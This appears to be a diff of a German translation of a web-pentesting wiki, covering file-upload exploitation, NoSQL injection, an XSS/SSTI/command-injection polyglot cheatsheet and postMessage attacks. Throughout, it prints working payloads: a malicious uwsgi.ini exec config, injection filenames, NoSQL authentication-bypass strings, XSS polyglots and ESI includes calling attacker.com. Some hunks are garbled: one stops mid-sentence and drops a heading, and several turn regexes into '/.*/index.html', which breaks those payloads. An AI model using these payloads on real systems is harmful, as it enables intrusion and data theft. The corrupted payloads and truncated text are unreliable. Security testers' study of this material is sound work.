@@ -106,7 +106,7 @@ Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [R
 
 Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
 
-Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(filename)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
+Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders bemerkenswert ist der '@'-Operator, der als `@(filename)` verwendet wird, um den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird.
 
 Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt:
 ```ini
@@ -128,7 +128,7 @@ characters = @(call://uwsgi_func)
 ```
 Die Ausführung des Payloads erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst werden kann, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial of Service-Angriffs) oder die Datei muss auf automatisches Neuladen eingestellt werden. Die Auto-Reload-Funktion, wenn aktiviert, lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
 
-Es ist entscheidend, die nachlässige Natur des Parsens der Konfigurationsdatei von uWSGI zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
+Es ist entscheidend, die nachsichtige Natur des Parsens der uWSGI-Konfigurationsdatei zu verstehen. Insbesondere kann der besprochene Payload in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzung weiter erweitert.
 
 ## **wget File Upload/SSRF Trick**
 
@@ -162,21 +162,21 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese
 
 - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug-Huntern hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und gründliche Bewertungen von Webanwendungen sicherzustellen.
 
-## Von Datei-Uploads zu anderen Schwachstellen
+## Vom Datei-Upload zu anderen Schwachstellen
 
 - Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen.
 - Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen.
 - Setzen Sie **filename** auf `<svg onload=alert(document.domain)>`, um eine XSS zu erreichen.
 - Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)).
-- [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/index.html#xss-uploading-files-svg).
-- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers).
-- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload).
-- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files).
-- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*.
-- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
-- Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
-- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md).
-- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS gemäß den gegebenen Anweisungen ausführen.
+- [**XSS** beim Hochladen von Bild (svg) Dateien](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
+- **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
+- [**XXE in svg Upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
+- [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files)
+- Versuchen Sie **verschiedene svg-Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
+- [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
+- Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/index.html) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
+- [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md)
+- Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS ausführen, gemäß den gegebenen Anweisungen.
 - Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat.
 - Überprüfen Sie, ob es eine **Größenbeschränkung** beim Hochladen von Dateien gibt.
 
@@ -185,10 +185,10 @@ Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
 3. **GIF**: Stored XSS / SSRF
-4. **CSV**: CSV-Injektion
+4. **CSV**: CSV-Injection
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
-7. **HTML / JS** : HTML-Injektion / XSS / Open Redirect
+7. **HTML / JS** : HTML-Injection / XSS / Open Redirect
 8. **PNG / JPEG**: Pixel Flood Attack (DoS)
 9. **ZIP**: RCE über LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
@@ -212,7 +212,7 @@ Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird
 
 #### Symlink
 
-Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, haben Sie Zugriff auf die verlinkten Dateien:
+Laden Sie einen Link hoch, der symbolische Links zu anderen Dateien enthält. Dann, beim Zugriff auf die dekomprimierten Dateien, werden Sie auf die verlinkten Dateien zugreifen:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
@@ -270,17 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-Editor geändert, wobei "xxA" in "../" geändert wird, um Verzeichnisse zu durchlaufen.
-
-```bash
-:set modifiable
-:%s/xxA/..\//g
-:x!
-```
-
-## ImageTragic
-
-Laden Sie diesen Inhalt mit einer Bilddateiendung hoch, um die Schwachstelle auszunutzen **(ImageMagick , 7.0.1-1)** (aus dem [exploit](https://www.exploit-db.com/exploits/39767))
+3.  **Änderung mit einem Hex-Editor oder vi**: Die Namen der Dateien im Zip werden mit vi oder einem Hex-
 ```
 push graphic-context
 viewbox 0 0 640 480
@@ -289,9 +279,9 @@ pop graphic-context
 ```
 ## Einbetten einer PHP-Shell in PNG
 
-Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampeln von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
+Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle.
 
-Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenzieller Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
+Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen.
 
 Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 
@@ -299,9 +289,9 @@ Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-we
 
 Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
 
-Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf dem Typ filtern. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
+Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen.
 
-Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
+Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Endungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren.
 
 Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 

src/pentesting-web/nosql-injection.md

@@ -6,7 +6,7 @@
 
 In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von _parameter=foo_ zu _parameter\[arrName]=foo_ ändern.
 
-Die Ausnutzungen basieren auf dem Hinzufügen eines **Operators**:
+Die Exploits basieren auf dem Hinzufügen eines **Operators**:
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -17,7 +17,7 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
 ```
-### Umgehung der grundlegenden Authentifizierung
+### Basic authentication bypass
 
 **Verwendung von ungleich ($ne) oder größer ($gt)**
 ```bash
@@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
 username[$ne]=toto&password[$regex]=.{3}
 # True if the length equals 1,3...
 ```
-### Extrahiere **Daten** Informationen
+### Extrahieren von **Daten**informationen
 ```
 in URL (if length == 3)
 username[$ne]=toto&password[$regex]=a.{2}
@@ -67,7 +67,7 @@ in JSON
 ### **SQL - Mongo**
 ```
 /?search=admin' && this.password%00 --> Check if the field password exists
-/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
+/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
@@ -88,7 +88,7 @@ Mit dem **$func** Operator der [MongoLite](https://github.com/agentejo/cockpit/t
 
 Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer **anderen Sammlung** namens **`users`** und erhalten die **Ergebnisse aller Einträge**, deren Passwort mit einem Platzhalter übereinstimmt.
 
-**HINWEIS:** `$lookup` und andere Aggregationsfunktionen sind nur verfügbar, wenn die `aggregate()`-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren `find()`- oder `findOne()`-Funktionen.
+**HINWEIS:** `$lookup` und andere Aggregationsfunktionen sind nur verfügbar, wenn die `aggregate()`-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren Funktionen `find()` oder `findOne()`.
 ```json
 [
 {
@@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 || 1==1//
 || 1==1%00
 }, { password : /.*/ }
-' && this.password.match(/.*/)//+%00
-' && this.passwordzz.match(/.*/)//+%00
-'%20%26%26%20this.password.match(/.*/)//+%00
-'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+' && this.password.match(/.*/index.html)//+%00
+' && this.passwordzz.match(/.*/index.html)//+%00
+'%20%26%26%20this.password.match(/.*/index.html)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 {$gt: ''}
 [$ne]=1
 ';sleep(5000);
@@ -140,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 {"username": {"$gt":""}, "password": {"$gt":""}}
 {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
 ```
-## Blinder NoSQL-Skript
+## Blind NoSQL Script
 ```python
 import requests, string
 

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -1,16 +1,16 @@
-# Reflecting Techniken - PoCs und Polygloths CheatSheet
+# Reflecting Techniques - PoCs and Polygloths CheatSheet
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Das Ziel dieser PoCs und Polygloths ist es, dem Tester eine schnelle **Zusammenfassung** von Schwachstellen zu geben, die er ausnutzen kann, wenn seine **Eingabe irgendwie in der Antwort widergespiegelt wird**.
+Das Ziel dieser PoCs und Polygloths ist es, dem Tester eine schnelle **Zusammenfassung** von Schwachstellen zu geben, die er ausnutzen kann, wenn seine **Eingabe irgendwie in der Antwort reflektiert wird**.
 
 > [!WARNING]
-> Dieses **Cheat-Sheet schlägt keine umfassende Liste von Tests für jede Schwachstelle vor**, nur einige grundlegende. Wenn Sie nach umfassenderen Tests suchen, greifen Sie auf jede vorgeschlagene Schwachstelle zu.
+> Dieses **Cheatsheet schlägt keine umfassende Liste von Tests für jede Schwachstelle vor**, nur einige grundlegende. Wenn Sie nach umfassenderen Tests suchen, greifen Sie auf jede vorgeschlagene Schwachstelle zu.
 
 > [!CAUTION]
-> Sie **werden keine Content-Type abhängigen Injektionen wie XXE finden**, da Sie diese normalerweise selbst ausprobieren, wenn Sie eine Anfrage finden, die XML-Daten sendet. Sie **werden hier auch keine Datenbankinjektionen finden**, da selbst wenn einige Inhalte widergespiegelt werden könnten, dies stark von der Backend-Datenbanktechnologie und -struktur abhängt.
+> Sie **werden keine Content-Type abhängigen Injektionen wie XXE finden**, da Sie diese normalerweise selbst ausprobieren, wenn Sie eine Anfrage finden, die XML-Daten sendet. Sie **werden hier auch keine Datenbankinjektionen finden**, da selbst wenn einige Inhalte reflektiert werden könnten, dies stark von der Backend-Datenbanktechnologie und -struktur abhängt.
 
-## Polygloths Liste
+## Polygloths list
 ```python
 {{7*7}}[7*7]
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@@ -46,7 +46,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
@@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 {{7*7}}
 [7*7]
 ```
-### Polyglotten
+### Polygloths
 ```bash
 {{7*7}}[7*7]
 ```
@@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 `ls`
 $(ls)
 ```
-### Polyglotten
+### Polygloths
 ```bash
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@@ -88,13 +88,13 @@ $(ls)
 %3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
 %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
 ```
-## Hängende Markup
+## Dangling Markup
 
 ### Grundlegende Tests
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [Datei-Einfügung/Pfad-Überquerung](../file-inclusion/)
+## [File Inclusion/Path Traversal](../file-inclusion/index.html)
 
 ### Grundlegende Tests
 ```bash
@@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 http://asdasdasdasd.burpcollab.com/mal.php
 \\asdasdasdasd.burpcollab.com/mal.php
 ```
-## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 ### Grundlegende Tests
 ```bash
@@ -136,15 +136,15 @@ javascript:alert(1)
 <esi:include src=http://attacker.com/>
 x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-### Polyglotten
+### Polygloths
 ```markup
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 Die gleichen Tests, die für Open Redirect verwendet werden, können hier verwendet werden.
 
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 
 ### Grundlegende Tests
 ```markup
@@ -155,7 +155,7 @@ ${7*7}
 ${{7*7}}
 #{7*7}
 ```
-### Polyglotten
+### Polygloths
 ```python
 {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 ```
@@ -166,7 +166,7 @@ ${{7*7}}
 <xsl:value-of select="system-property('xsl:version')" />
 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
-### Polyglotten
+### Polygloths
 ```markup
 <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
@@ -178,12 +178,12 @@ ${{7*7}}
 '"><img src=x onerror=alert(1) />
 javascript:alert()
 ```
-### Polyglotten
+### Polygloths
 ```markup
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

src/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md

@@ -36,7 +36,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -33,8 +33,8 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ```
 Beachten Sie, dass **targetOrigin** ein '\*' oder eine URL wie _https://company.com._ sein kann.\
-Im **zweiten Szenario** kann die **Nachricht nur an diese Domain gesendet werden** (auch wenn der Ursprung des Window-Objekts unterschiedlich ist).\
-Wenn das **Wildcard** verwendet wird, können **Nachrichten an jede Domain gesendet werden** und werden an den Ursprung des Window-Objekts gesendet.
+Im **zweiten Szenario** kann die **Nachricht nur an diese Domain gesendet werden** (auch wenn der Ursprung des Fensterobjekts unterschiedlich ist).\
+Wenn das **Wildcard** verwendet wird, können **Nachrichten an jede Domain gesendet werden** und werden an den Ursprung des Fensterobjekts gesendet.
 
 ### Angreifen von iframe & Wildcard in **targetOrigin**
 
@@ -54,7 +54,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
 }
 </script>
 ```
-## addEventListener Ausnutzung
+## addEventListener-Ausnutzung
 
 **`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** **erwartet**.\
 Ein ähnlicher Code wie der folgende wird verwendet:
@@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
 false
 )
 ```
-Hinweis in diesem Fall, wie das **erste, was** der Code tut, ist **die Herkunft zu überprüfen**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
+Hinweis in diesem Fall, dass das **erste, was** der Code tut, ist **die Herkunft zu überprüfen**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
 
 ### Aufzählung
 
@@ -88,14 +88,14 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
 
 ### Herkunftsüberprüfungsumgehungen
 
